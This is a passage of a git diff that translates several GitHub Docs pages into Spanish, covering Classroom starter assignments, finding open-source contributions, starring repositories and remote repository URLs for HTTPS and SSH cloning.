+  - [Asignar una fecha límita para una tarea](#assigning-a-deadline-for-an-assignment)
+  - [Elegir un tipo de visibilidad para los repositorios de la tarea](#choosing-a-visibility-for-assignment-repositories)
+- [Invitar a los alumnos a una tarea](#inviting-students-to-an-assignment)
+- [Pasos siguientes](#next-steps)
+- [Leer más](#further-reading)
 
-### Importing the assignment
+### Importar la tarea
 
-You first need to import the Git & {% data variables.product.product_name %} starter assignment into your organization.
+Primero necesitas improtar la tarea inicial de Git & {% data variables.product.product_name %} en tu organización.
 
 <div class="procedural-image-wrapper">
-  <img alt="The `Import the assignment` button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-import-starter-assignment.png">
+  <img alt="El botón de `importar la tarea`" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-import-starter-assignment.png">
 </div>
 
-### Naming the assignment
+### Nombrar la tarea
 
-For an individual assignment, {% data variables.product.prodname_classroom %} names repositories by the repository prefix and the student's {% data variables.product.product_name %} username. By default, the repository prefix is the assignment title. For example, if you name an assignment "assignment-1" and the student's username on {% data variables.product.product_name %} is @octocat, the name of the assignment repository for @octocat will be `assignment-1-octocat`.
+Para una tarea individual, {% data variables.product.prodname_classroom %} nombra los repositorios de acuerdo con su prefijo y con el nombre de usuario de {% data variables.product.product_name %} del alumno. Predeterminadamente, el prefijo del repositorio es el título de la tarea. Por ejemplo, si nombras a una tarea "assingment-1" y el nombre de usuario del alumno en {% data variables.product.product_name %} es @octocat, entonces el nombre del repositorio de la tarea para @octocat será `assignment-1-octocat`.
 
 {% data reusables.classroom.assignments-type-a-title %}
 
-### Assigning a deadline for an assignment
+### Asignar una fecha límita para una tarea
 
 {% data reusables.classroom.assignments-guide-assign-a-deadline %}
 
-### Choosing a visibility for assignment repositories
+### Elegir un tipo de visibilidad para los repositorios de la tarea
 
-The repositories for an assignment can be public or private. If you use private repositories, only the student can see the feedback you provide. Under "Repository visibility," select a visibility.
+Los repositorios de una tarea pueden ser públicos o privados. Si utilizas repositorios privados, solo el alumno puede ver la retroalimentación que proporciones. Debajo de "Visibilidad del repositorio", selecciona una visibilidad.
 
-When you're done, click **Continue**. {% data variables.product.prodname_classroom %} will create the assignment and bring you to the assignment page.
+Cuando termines, haz clic en **Continuar**. {% data variables.product.prodname_classroom %} creará la tarea y te llevará a la su página.
 
 <div class="procedural-image-wrapper">
-  <img alt="'Continue' button" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-continue-button.png">
+  <img alt="Botón 'Continuar'" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignments-click-continue-button.png">
 </div>
 
-## Inviting students to an assignment
+## Invitar a los alumnos a una tarea
 
 {% data reusables.classroom.assignments-guide-invite-students-to-assignment %}
 
-You can see whether a student has joined the classroom and accepted or submitted an assignment in the **All students** tab for the assignment. {% data reusables.classroom.assignments-to-prevent-submission %}
+Puedes ver si un alumno se unió al aula y aceptó o emitió una tarea en la pestaña de **Todos los alumnos** de la misma. {% data reusables.classroom.assignments-to-prevent-submission %}
 
 <div class="procedural-image-wrapper">
-  <img alt="Individual assignment" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
+  <img alt="Tarea individual" class="procedural-image-wrapper" src="/assets/images/help/classroom/assignment-individual-hero.png">
 </div>
 
-The Git & {% data variables.product.company_short %} starter assignment is only available for individual students, not for groups. Once you create the assignment, students can start work on the assignment.
+La tarea inicial de Git & {% data variables.product.company_short %} solo se encuentra disponible para alumnos individuales y no para grupos. Una vez que creas la tarea, los alumnos pueden comenzar a trabajar en ella.
 
-## Next steps
+## Pasos siguientes
 
-- Make additional assignments customized to your course. For more information, see "[Create an individual assignment](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" and "[Create a group assignment](/education/manage-coursework-with-github-classroom/create-a-group-assignment)."
+- Haz tareas adicionales personalizadas para tu curso. Para obtener más información, consulta las secciones "[Crear una tarea individual](/education/manage-coursework-with-github-classroom/create-an-individual-assignment)" y "[Crear una tarea grupal](/education/manage-coursework-with-github-classroom/create-a-group-assignment)".
 
-## Further reading
+## Leer más
 
-- "[Use {% data variables.product.prodname_dotcom %} in your classroom and research](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
-- "[Connect a learning management system to {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
+- "[Utiliza {% data variables.product.prodname_dotcom %} en tu aula y en tu investigación](/education/explore-the-benefits-of-teaching-and-learning-with-github-education/use-github-in-your-classroom-and-research)"
+- "[Conectar un sistema de administración de aprendizaje a {% data variables.product.prodname_classroom %}](/education/manage-coursework-with-github-classroom/connect-a-learning-management-system-to-github-classroom)"
diff --git a/translations/es-ES/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md b/translations/es-ES/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
index 671697cc51..07d0948393 100644
--- a/translations/es-ES/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
+++ b/translations/es-ES/content/get-started/exploring-projects-on-github/finding-ways-to-contribute-to-open-source-on-github.md
@@ -1,6 +1,6 @@
 ---
-title: Finding ways to contribute to open source on GitHub
-intro: 'You can find ways to contribute to open source projects on {% data variables.product.product_location %} that are relevant to you.'
+title: Encontrar maneras para colaborar con el código abierto en GitHub
+intro: 'Puedes encontrar maneras de contribuir a los proyectos de código abierto en {% data variables.product.product_location %} que te parezcan relevantes.'
 permissions: '{% data reusables.enterprise-accounts.emu-permission-interact %}'
 redirect_from:
   - /articles/where-can-i-find-open-source-projects-to-work-on
@@ -16,41 +16,42 @@ versions:
   ghec: '*'
 topics:
   - Open Source
-shortTitle: Contribute to open source
+shortTitle: Contribuir al código abierto
 ---
-## Discovering relevant projects
 
-If there's a particular topic that interests you, visit `github.com/topics/<topic>`. For example, if you are interested in machine learning, you can find relevant projects and good first issues by visiting https://github.com/topics/machine-learning. You can browse popular topics by visiting [Topics](https://github.com/topics). You can also search for repositories that match a topic you're interested in. For more information, see "[Searching for repositories](/search-github/searching-on-github/searching-for-repositories#search-by-topic)."
+## Descubrir proyectos relevantes
 
-If you've been active on {% data variables.product.product_location %}, you can find personalized recommendations for projects and good first issues based on your past contributions, stars, and other activities in [Explore](https://github.com/explore). You can also sign up for the Explore newsletter to receive emails about opportunities to contribute to {% data variables.product.product_name %} based on your interests. To sign up, see [Explore email newsletter](https://github.com/explore/subscribe).
+Si hay un tema en particular que te interese, visita `github.com/topics/<topic>`. Por ejemplo, si te interesa el aprendizaje automático, puedes encontrar proyectos relevantes e informes de problemas iniciales si visitas https://github.com/topics/machine-learning. Puedes buscar temas populares si visitas [Temas](https://github.com/topics). También puedes buscar repositorios que empaten con algún tema que te interese. Para obtener más información, consulta "[Buscar repositorios](/search-github/searching-on-github/searching-for-repositories#search-by-topic)."
 
-Keep up with recent activity from repositories you watch and people you follow in the "All activity" section of your personal dashboard. For more information, see "[About your personal dashboard](/articles/about-your-personal-dashboard)."
+Si has tenido actividad en {% data variables.product.product_location %} recientemente, puedes encontrar recomendaciones personalizadas para proyectos e informes de problemas iniciales que se basen en tus contribuciones, estrellas y otras actividades previas en [Explore](https://github.com/explore). También puedes registrarte para el boletín Explore para recibir correos electrónicos sobre las oportunidades disponibles para colaborar con {% data variables.product.product_name %} de acuerdo a tus intereses. Para registrarte, consulta [Boletín Explore por correo](https://github.com/explore/subscribe).
+
+Mantente al tanto de las actividades recientes de los repositorios y personas que sigues en la sección "Toda la actividad" de tu tablero personal. Para obtener más información, consulta "[Acerca de tu tablero personal](/articles/about-your-personal-dashboard)".
 
 {% data reusables.support.ask-and-answer-forum %}
 
-## Finding good first issues
+## Encontrar informes de problemas iniciales
 
-If you already know what project you want to work on, you can find beginner-friendly issues in that repository by visiting `github.com/<owner>/<repository>/contribute`. For an example, you can find ways to make your first contribution to `electron/electron` at https://github.com/electron/electron/contribute.
+Si ya sabes en qué proyecto quieres trabajar, puedes encontrar informes de problemas aptos para principiantes en ese repositorio si visitas `github.com/<owner>/<repository>/contribute`. Como ejemplo, puedes encontrar cómo realizar tu primera contribución a `electron/electron` en https://github.com/electron/electron/contribute.
 
-## Opening an issue
+## Abrir una propuesta
 
-If you encounter a bug in an open source project, check if the bug has already been reported. If the bug has not been reported, you can open an issue to report the bug according to the project's contribution guidelines.
+Si encuentras un error en un proyecto de código abierto, verifica si ya se reportó. Si aún no se ha reportado el error, peudes abrir una propuesta para reportarlo de acuerdo con los lineamientos de contribución del proyecto.
 
-## Validating an issue or pull request
+## Validar una propuesta o solicitud de cambios
 
-There are a variety of ways that you can contribute to open source projects.
+Hay varias formas en las que puedes contribuir con los proyectos de código abierto.
 
-### Reproducing a reported bug
-You can contribute to an open source project by validating an issue or adding additional context to an existing issue. 
+### Reproducir un error que se haya reportado
+Puedes contribuir con un proyecto de código abierto si validas la propuesta o si agregas contexto adicional a una propuesta existente.
 
-### Testing a pull request
-You can contribute to an open source project by merging a pull request into your local copy of the project and testing the changes. Add the outcome of your testing in a comment on the pull request.
+### Probar una solicitud de cambios
+Puedes contribuir a un proyecto de código abierto si fusionas una solicitud de cambios en tu copia local del proyecto y pruebas los cambios. Agrega el resultado de tus pruebas en un comentario de la solicitud de cambios.
 
-### Updating issues
-You can contribute to an open source project by adding additional information to existing issues.
+### Actualizar las propuestas
+Puedes contribuir con un proyecto de código abierto si agregas información adicional a las propuestas existentes.
 
 
-## Further reading
+## Leer más
 
-- "[Classifying your repository with topics](/articles/classifying-your-repository-with-topics)"
-- "[About your organization dashboard](/articles/about-your-organization-dashboard)"
+- "[Clasificar tu repositorio con temas](/articles/classifying-your-repository-with-topics)"
+- "[Acerca del tablero de tu organización](/articles/about-your-organization-dashboard)"
diff --git a/translations/es-ES/content/get-started/exploring-projects-on-github/index.md b/translations/es-ES/content/get-started/exploring-projects-on-github/index.md
index 35476b39db..777467fbb5 100644
--- a/translations/es-ES/content/get-started/exploring-projects-on-github/index.md
+++ b/translations/es-ES/content/get-started/exploring-projects-on-github/index.md
@@ -1,6 +1,6 @@
 ---
-title: Exploring projects on GitHub
-intro: 'Discover interesting projects on {% data variables.product.product_name %} and contribute to open source by collaborating with other people.'
+title: Explorar proyectos en GitHub
+intro: 'Descubre proyectos interesantes en {% data variables.product.product_name %} y contribuye con el código abierto colaborando con otras personas.'
 redirect_from:
   - /categories/stars
   - /categories/87/articles
@@ -18,6 +18,6 @@ children:
   - /finding-ways-to-contribute-to-open-source-on-github
   - /saving-repositories-with-stars
   - /following-people
-shortTitle: Explore projects
+shortTitle: Explorar proyectos
 ---
 
diff --git a/translations/es-ES/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md b/translations/es-ES/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
index 6f823e3ea2..fee9582cf5 100644
--- a/translations/es-ES/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
+++ b/translations/es-ES/content/get-started/exploring-projects-on-github/saving-repositories-with-stars.md
@@ -1,6 +1,6 @@
 ---
-title: Saving repositories with stars
-intro: 'You can star repositories and topics to keep track of projects you find interesting{% ifversion fpt or ghec %} and discover related content in your news feed{% endif %}.'
+title: Guardar repositorios con estrellas
+intro: 'Puedes marcar los repositorios y temas como favoritos para llevar el seguimiento de los proyectos que te parezcan interesantes{% ifversion fpt or ghec %} y descubrir el contenido relacionado en tu sección de noticias{% endif %}.'
 redirect_from:
   - /articles/stars
   - /articles/about-stars
@@ -16,114 +16,102 @@ versions:
   ghec: '*'
 topics:
   - Repositories
-shortTitle: Save repos with stars
+shortTitle: Guardar repositorios marcados como favoritos
 ---
-You can search, sort, and filter your starred repositories and topics on your {% data variables.explore.your_stars_page %}.
 
-## About stars
+Puedes buscar, clasificar y filtrar tus repositorios y temas marcados con estrella en tu {% data variables.explore.your_stars_page %}.
 
-Starring makes it easy to find a repository or topic again later. You can see all the repositories and topics you have starred by going to your {% data variables.explore.your_stars_page %}.
+## Acerca de las estrellas
+
+Marcar con estrellas tus repositorios y temas favoritos te facilitará encontrarlos posteriormente. Puedes ver todos los repositorios y temas que has marcado con estrellas visitando tu {% data variables.explore.your_stars_page %}.
 
 {% ifversion fpt or ghec %}
-You can star repositories and topics to discover similar projects on {% data variables.product.product_name %}. When you star repositories or topics, {% data variables.product.product_name %} may recommend related content in the discovery view of your news feed. For more information, see "[Finding ways to contribute to open source on {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)".
+Puedes seleccionar los repositorios y temas como favoritos para descubrir proyectos similares en {% data variables.product.product_name %}. Cuando marcas repositorios o temas con estrellas, {% data variables.product.product_name %} puede recomendar contenido relacionado en la vista de tus noticias. Para obtener más información, consulta "[Encontrar formas de contribuir al código abierto en {% data variables.product.prodname_dotcom %}](/github/getting-started-with-github/finding-ways-to-contribute-to-open-source-on-github)".
 {% endif %}
 
-Starring a repository also shows appreciation to the repository maintainer for their work. Many of {% data variables.product.prodname_dotcom %}'s repository rankings depend on the number of stars a repository has. In addition, [Explore](https://github.com/explore) shows popular repositories based on the number of stars they have.
+Marcar un repositorio con estrella también muestra reconocimiento al mantenedor del repositorio por su trabajo. Muchas de las clasificaciones de los repositorios de {% data variables.product.prodname_dotcom %} dependen de la cantidad de estrellas que tiene un repositorio. Además, [Explore](https://github.com/explore) muestra repositorios populares en base a la cantidad de estrellas que tienen.
 
-## Starring a repository
+## Marcar un repositorio como favorito
 
-Starring a repository is a simple two-step process.
+Marcar un repositorio como favorito es un proceso simple de dos pasos.
 
 {% data reusables.repositories.navigate-to-repo %}
-1. In the top-right corner of the page, click **Star**.
-![Starring a repository](/assets/images/help/stars/starring-a-repository.png)
-1. Optionally, to unstar a previously starred repository, click **Unstar**.
-![Untarring a repository](/assets/images/help/stars/unstarring-a-repository.png)
+1. En la esquina superior derecha de la página, haz clic en **Favorito**. ![Marcar un repositorio como favorito](/assets/images/help/stars/starring-a-repository.png)
+1. Opcionalmente, para dejar de marcar un repositorio como favorito, haz clic en **Desmarcar como favorito**. ![Dejar de marcar a un repositorio como favorito](/assets/images/help/stars/unstarring-a-repository.png)
 
 {% ifversion fpt or ghec %}
-## Organizing starred repositories with lists
+## Organizar los repositorios marcados como favoritos con las listas
 
 {% note %}
 
-**Note:** Lists are currently in public beta and subject to change.
+**Nota:** Las listas se encuentran actualmente en beta público y están sujetas a cambios.
 
 {% endnote %}
 
-Curate repositories that you've starred with public lists. You can create public lists that appear on your stars page at `https://github.com/USERNAME?tab=stars`.
+Organiza los repositorios que marcaste como favoritos con las listas públicas. Puedes crear listas públicas que aparecen en tu página de favoritos en `https://github.com/USERNAME?tab=stars`.
 
-If you add a private repository to a list, then the private repository will only appear in your list for people with `read` access to the repository.
+So agregas un repositorio privado a una lista, entonces este solo aparecerá en tu lista para las personas que tengan acceso de `read` en el repositorio.
 
-![Screenshot of lists on stars page](/assets/images/help/stars/lists-overview-on-stars-page.png)
+![Captura de pantalla de las listas en la página de favoritos](/assets/images/help/stars/lists-overview-on-stars-page.png)
 
-You can add a repository to an existing or new list wherever you see a repository's **Star** or **Starred** dropdown menu, whether on a repository page or in a list of starred repositories. 
+Puedes agregar un repositorio a una lista nueva o existente donde sea que veas una **Estrella** en un repositorio o un menú desplegable de **Marca de favorito**, ya sea en una página de repositorio o en una lista de repositorios marcados como favoritos.
 
-![Screenshot of "Star" dropdown menu with list options featured from the repository page](/assets/images/help/stars/stars-dropdown-on-repo.png)
+![Captura de pantalla del menú desplegable de "Estrella" con opciones de lista que se presentan desde la página del repositorio](/assets/images/help/stars/stars-dropdown-on-repo.png)
 
-![Screenshot of "Starred" dropdown menu with list options featured from a starred repository list](/assets/images/help/stars/add-repo-to-list.png)
+![Captura de pantalla del menú desplegable con "Marca de favorito" con las opciones de lista que se presentan desde una lista de repositorio marcado como favorito](/assets/images/help/stars/add-repo-to-list.png)
 
-### Creating a list
+### Crear una lista
 
 {% data reusables.stars.stars-page-navigation %}
-2. Next to "Lists", click **Create list**.
-  ![Screenshot of "Create list" button](/assets/images/help/stars/create-list.png)
-3. Enter a name and description for your list and click **Create**.
-  ![Screenshot of modal showing where you enter a name and description with the "Create" button.](/assets/images/help/stars/create-list-with-description.png)
+2. Junto a "Listas", haz clic en **Crear lista**. ![Captura de pantalla del botón "Crear lista"](/assets/images/help/stars/create-list.png)
+3. Ingresa un nombre y descripción para tu lista y haz clic en **Crear**. ![Captura de pantalla de un modal que muestra dónde ingresaste un nombre y descripción con el botón "Crear".](/assets/images/help/stars/create-list-with-description.png)
 
-### Adding a repository to a list
+### Agregar un repositorio a una lista
 
 {% data reusables.stars.stars-page-navigation %}
-2. Find the repository you want to add to your list.
-  ![Screenshot of starred repos search bar](/assets/images/help/stars/search-bar-for-starred-repos.png)
-3. Next to the repository you want to add, use the **Starred** dropdown menu and select your list.
-  ![Screenshot of dropdown showing a list checkboxes](/assets/images/help/stars/add-repo-to-list.png)
+2. Encuentra el repositorio que quieras agregar a tu lista. ![Captura de pantalla de la barra de búsqueda de los repositorios marcados como favoritos](/assets/images/help/stars/search-bar-for-starred-repos.png)
+3. Junto al repositorio que quieras agregar, utiliza el menú desplegable **Marcado como favorito** y selecciona tu lista. ![Captura de pantalla del menú desplegable que muestra una lista de casillas de verificación](/assets/images/help/stars/add-repo-to-list.png)
 
-### Removing a repository from your list
+### Eliminar a un repositorio de tu lista
 
 {% data reusables.stars.stars-page-navigation %}
-2. Select your list.
-3. Next to the repository you want to remove, use the **Starred** dropdown menu and deselect your list.
-  ![Screenshot of dropdown showing list checkboxes](/assets/images/help/stars/add-repo-to-list.png)
+2. Selecciona tu lista.
+3. Junto al repositorio que quieras eliminar, utiliza el menú desplegable **Marcado como favorito** y deselecciona tu lista. ![Captura de pantalla del menú desplegable que muestra la lista de casillas de verificación](/assets/images/help/stars/add-repo-to-list.png)
 
-### Editing a list name or description
+### Editar un nombre de lista o descripción
 
 {% data reusables.stars.stars-page-navigation %}
-1. Select the list you want to edit.
-2. Click **Edit list**.
-3. Update the name or description and click **Save list**.
-  ![Screenshot of modal showing "Save list" button](/assets/images/help/stars/edit-list-options.png) 
+1. Selecciona la lista que quieras editar.
+2. Haz clic en **Editar lista**.
+3. Actualiza el nombre o descripción y haz clic en **Guardar lista**. ![Captura de pantalla del modal que muestra el botón "Guardar lista"](/assets/images/help/stars/edit-list-options.png)
 
-### Deleting a list
+### Borrar una lista
 
 {% data reusables.stars.stars-page-navigation %}
-2. Select the list you want to delete.
-3. Click **Delete list**.
-  ![Screenshot of modal showing "Delete list" button](/assets/images/help/stars/edit-list-options.png)
-4. To confirm, click **Delete**.
+2. Selecciona la lista que quieras borrar.
+3. Haz clic en **Borrar lista**. ![Captura de pantalla del modal que muestra el botón "Borrar lista"](/assets/images/help/stars/edit-list-options.png)
+4. Para confirmar, haz clic en **Borrar**.
 
 {% endif %}
 
-## Searching starred repositories and topics
+## Buscar los repositorios y temas marcados como favoritos
 
-You can use the search bar on your {% data variables.explore.your_stars_page %} to quickly find repositories and topics you've starred. 
+Puedes utilizar la barra de búsqueda en tu {% data variables.explore.your_stars_page %} para encontrar rápidamente los repositorios y temas que marcaste como favoritos.
 
-1. Go to your {% data variables.explore.your_stars_page %}.
-1. Use the search bar to find your starred repositories or topics by their name.
-![Searching through stars](/assets/images/help/stars/stars_search_bar.png)
+1. Dirígete a tu {% data variables.explore.your_stars_page %}.
+1. Utiliza la barra de búsqueda para encontrar tus repositorios marcados como favoritos o temas por su nombre. ![Buscar a través de las estrellas](/assets/images/help/stars/stars_search_bar.png)
 
-The search bar only searches based on the name of a repository or topic, and not on any other qualifiers (such as the size of the repository or when it was last updated).
+La barra de búsqueda únicamente busca en los nombres de los temas y repositorios, y no en cualquier otro calificador (tal como el tamaño del repositorio o la fecha en la que se actualizó la última vez).
 
-## Sorting and filtering stars on your stars page
+## Clasificar y filtrar las marcas de favoritos en tu página de favoritos
 
-You can use sorting or filtering to customize how you see starred repositories and topics on your stars page.
+Puedes utilizar la clasificación o el filtrado para personalizar como ves los repositorios marcados como favoritos y los temas en tu página de favoritos.
 
-1. Go to your {% data variables.explore.your_stars_page %}.
-1. To sort stars, select the **Sort** drop-down menu, then select **Recently starred**, **Recently active**, or **Most stars**.
-![Sorting stars](/assets/images/help/stars/stars_sort_menu.png)
-1. To filter your list of stars based on their language, click on the desired language under **Filter by languages**.
-![Filter stars by language](/assets/images/help/stars/stars_filter_language.png)
-1. To filter your list of stars based on repository or topic, click on the desired option.
-![Filter stars by topic](/assets/images/help/stars/stars_filter_topic.png)
+1. Dirígete a tu {% data variables.explore.your_stars_page %}.
+1. Para clasificar las estrellas, selecciona el menú desplegable de **Clasificar** y luego **Marcados recientemente como favoritos**, **Recientemente activos** o **Con más estrellas**. ![Clasificar estrellas](/assets/images/help/stars/stars_sort_menu.png)
+1. Para filtrar tu lista de favoritos con base en su lenguaje de programación, haz clic en el que quieras bajo **Filtrar por lenguaje**. ![Filtrar estrellas por lenguaje](/assets/images/help/stars/stars_filter_language.png)
+1. Para filtrar tu lista de favoritos según el repositorio o tema, haz clic en la opción deseada. ![Filtrar favoritos por tema](/assets/images/help/stars/stars_filter_topic.png)
 
-## Further reading
+## Leer más
 
-- "[Classifying your repository with topics](/articles/classifying-your-repository-with-topics)"
+- "[Clasificar tu repositorio con temas](/articles/classifying-your-repository-with-topics)"
diff --git a/translations/es-ES/content/get-started/getting-started-with-git/about-remote-repositories.md b/translations/es-ES/content/get-started/getting-started-with-git/about-remote-repositories.md
index 78b6642b52..7b2e51e59e 100644
--- a/translations/es-ES/content/get-started/getting-started-with-git/about-remote-repositories.md
+++ b/translations/es-ES/content/get-started/getting-started-with-git/about-remote-repositories.md
@@ -1,5 +1,5 @@
 ---
-title: About remote repositories
+title: Acerca de los repositorios remotos
 redirect_from:
   - /articles/working-when-github-goes-down
   - /articles/sharing-repositories-without-github
@@ -10,89 +10,89 @@ redirect_from:
   - /github/using-git/about-remote-repositories
   - /github/getting-started-with-github/about-remote-repositories
   - /github/getting-started-with-github/getting-started-with-git/about-remote-repositories
-intro: 'GitHub''s collaborative approach to development depends on publishing commits from your local repository to {% data variables.product.product_name %} for other people to view, fetch, and update.'
+intro: 'El acercamiento colaborativo de GitHub al desarrollo depende de publicar confirmaciones desde tu repositorio local hacia {% data variables.product.product_name %} para que el resto de las personas las vean, recuperen y actualicen.'
 versions:
   fpt: '*'
   ghes: '*'
   ghae: '*'
   ghec: '*'
 ---
-## About remote repositories
 
-A remote URL is Git's fancy way of saying "the place where your code is stored." That URL could be your repository on GitHub, or another user's fork, or even on a completely different server.
+## Acerca de los repositorios remotos
 
-You can only push to two types of URL addresses:
+Una URL remota es la manera de Git de decir "el lugar donde se almacena tu código". Esa URL podría ser tu repositorio en GitHub o la bifurcación de otro usuario o incluso en un servidor completamente diferente.
 
-* An HTTPS URL like `https://{% data variables.command_line.backticks %}/user/repo.git`
-* An SSH URL, like `git@{% data variables.command_line.backticks %}:user/repo.git`
+Solo puedes subir a dos tipos de direcciones URL:
 
-Git associates a remote URL with a name, and your default remote is usually called `origin`.
+* Una URL HTTPS como `https://{% data variables.command_line.backticks %}/user/repo.git`
+* Una URL SSH como `git@{% data variables.command_line.backticks %}:user/repo.git`
 
-## Creating remote repositories
+Git asocia una URL remota con un nombre y tu remoto predeterminado generalmente se llama `origen`.
 
-You can use the `git remote add` command to match a remote URL with a name.
-For example, you'd type the following in the command line:
+## Crear repositorios remotos
+
+Puedes usar el comando `git remote add` para hacer coincidir una URL remota con un nombre. Por ejemplo, escribirás lo siguiente en la línea de comandos:
 
 ```shell
 git remote add origin <em> &lt;REMOTE_URL> </em>
 ```
 
-This associates the name `origin` with the `REMOTE_URL`.
+Esto asocia el nombre `origin` con `REMOTE_URL`.
 
-You can use the command `git remote set-url` to [change a remote's URL](/github/getting-started-with-github/managing-remote-repositories).
+Puedes usar el comando `git remote set-url` para [cambiar la URL de un remoto](/github/getting-started-with-github/managing-remote-repositories).
 
-## Choosing a URL for your remote repository
+## Elegir una URL para tu repositorio remoto
 
-There are several ways to clone repositories available on {% data variables.product.product_location %}.
+Existen varias formas de clonar los repositorios disponibles en {% data variables.product.product_location %}.
 
-When you view a repository while signed in to your account, the URLs you can use to clone the project onto your computer are available below the repository details.
+Cuando ves un repositorio mientras estás registrado en tu cuenta, las URL que puedes utilizar para clonar el proyecto en tu computadora están disponibles debajo de los detalles del repositorio.
 
-For information on setting or changing your remote URL, see "[Managing remote repositories](/github/getting-started-with-github/managing-remote-repositories)."
+Para obtener más información sobre cómo configurar o cambiar tu URL remota, consulta la sección "[Administrar los repositorios remotos](/github/getting-started-with-github/managing-remote-repositories)".
 
-## Cloning with HTTPS URLs
+## Clonar con las URL con HTTPS
 
-The `https://` clone URLs are available on all repositories, regardless of visibility. `https://` clone URLs work even if you are behind a firewall or proxy.
+Las URL clon `https://` se encuentran disponibles en todos los repositorios, sin importar su visibilidad. Las URL clon `https://` funcionan aún si estás detrás de un cortafuegos o de un proxy.
 
-When you `git clone`, `git fetch`, `git pull`, or `git push` to a remote repository using HTTPS URLs on the command line, Git will ask for your {% data variables.product.product_name %} username and password. {% data reusables.user_settings.password-authentication-deprecation %}
+Cuando ejecutas `git clone`, `git fetch`, `git pull`, o `git push` en un repositorio mendiante URL con HTTPS en la línea de comando, Git te pedirá tu nombre de usuario y contraseña de {% data variables.product.product_name %}. {% data reusables.user_settings.password-authentication-deprecation %}
 
 {% data reusables.command_line.provide-an-access-token %}
 
 {% tip %}
 
 **Tips**:
-- You can use a credential helper so Git will remember your {% data variables.product.prodname_dotcom %} credentials every time it talks to {% data variables.product.prodname_dotcom %}. For more information, see "[Caching your {% data variables.product.prodname_dotcom %} credentials in Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)."
-- To clone a repository without authenticating to {% data variables.product.product_name %} on the command line, you can use {% data variables.product.prodname_desktop %} to clone instead. For more information, see "[Cloning a repository from {% data variables.product.prodname_dotcom %} to {% data variables.product.prodname_dotcom %} Desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)."
+- Puedes utilizar un asistente de credenciales para que Git recuerde tus credenciales de {% data variables.product.prodname_dotcom %} cada que habla con {% data variables.product.prodname_dotcom %}. Para obtener más información, consulta la sección "[ Almacenar tus credencialesde {% data variables.product.prodname_dotcom %} en el caché dentro de Git](/github/getting-started-with-github/caching-your-github-credentials-in-git)".
+- Para clonar un repositorio sin autenticarse en {% data variables.product.product_name %} desde la línea de comando, puedes utilizar {% data variables.product.prodname_desktop %} como alternativa. Para obtener más información, consulta la sección "[Clonar un repositorio desde {% data variables.product.prodname_dotcom %} hacia {% data variables.product.prodname_dotcom %} Desktop](/desktop/contributing-to-projects/cloning-a-repository-from-github-to-github-desktop)".
 
 {% endtip %}
 
- {% ifversion fpt or ghec %}If you'd rather use SSH but cannot connect over port 22, you might be able to use SSH over the HTTPS port. For more information, see "[Using SSH over the HTTPS port](/github/authenticating-to-github/using-ssh-over-the-https-port)."{% endif %}
+ {% ifversion fpt or ghec %}Si prefieres utilizar SSH pero no puedes conectarte por el puerto 22, podrías utilizar SSH a través del puerto HTTPS. Para obtener más información, consulta la sección "[Utilizar SSH a través del puerto HTTPS](/github/authenticating-to-github/using-ssh-over-the-https-port)".{% endif %}
 
-## Cloning with SSH URLs
+## Clonar con URL de SSH
 
-SSH URLs provide access to a Git repository via SSH, a secure protocol. To use these URLs, you must generate an SSH keypair on your computer and add the **public** key to your account on {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. For more information, see "[Connecting to {% data variables.product.prodname_dotcom %} with SSH](/github/authenticating-to-github/connecting-to-github-with-ssh)."
+Las URL de SSH brindan acceso a un repositorio de Git por medio de SSH, un protocolo seguro. Para utilizar estas URL, debes generar un par de llaves SSH en tu computadora y agregar la llave **pública** a tu cuenta de {% ifversion ghae %}{% data variables.product.product_name %}{% else %}{% data variables.product.product_location %}{% endif %}. Para obtener más información, consulta la sección "[Conectarse a {% data variables.product.prodname_dotcom %} con SSH](/github/authenticating-to-github/connecting-to-github-with-ssh)".
 
-When you `git clone`, `git fetch`, `git pull`, or `git push` to a remote repository using SSH URLs, you'll be prompted for a password and must provide your SSH key passphrase. For more information, see "[Working with SSH key passphrases](/github/authenticating-to-github/working-with-ssh-key-passphrases)."
+Cuando ejecutas `git clone`, `git fetch`, `git pull`, o `git push` en un repositorio remoto utilizando URL de SSH, se te solicitará una contraseña y deberás ingresar tu frase de acceso con llave de SSH. Para obtener más información, consulta la sección "[Trabajar con frases de acceso con llave SSH](/github/authenticating-to-github/working-with-ssh-key-passphrases)".
 
-{% ifversion fpt or ghec %}If you are accessing an organization that uses SAML single sign-on (SSO), you must authorize your SSH key to access the organization before you authenticate. For more information, see "[About authentication with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/about-authentication-with-saml-single-sign-on)" and "[Authorizing an SSH key for use with SAML single sign-on](/enterprise-cloud@latest/authentication/authenticating-with-saml-single-sign-on/authorizing-a-personal-access-token-for-use-with-saml-single-sign-on){% ifversion fpt %}" in the {% data variables.product.prodname_ghe_cloud %} documentation.{% else %}."{% endif %}{% endif %}
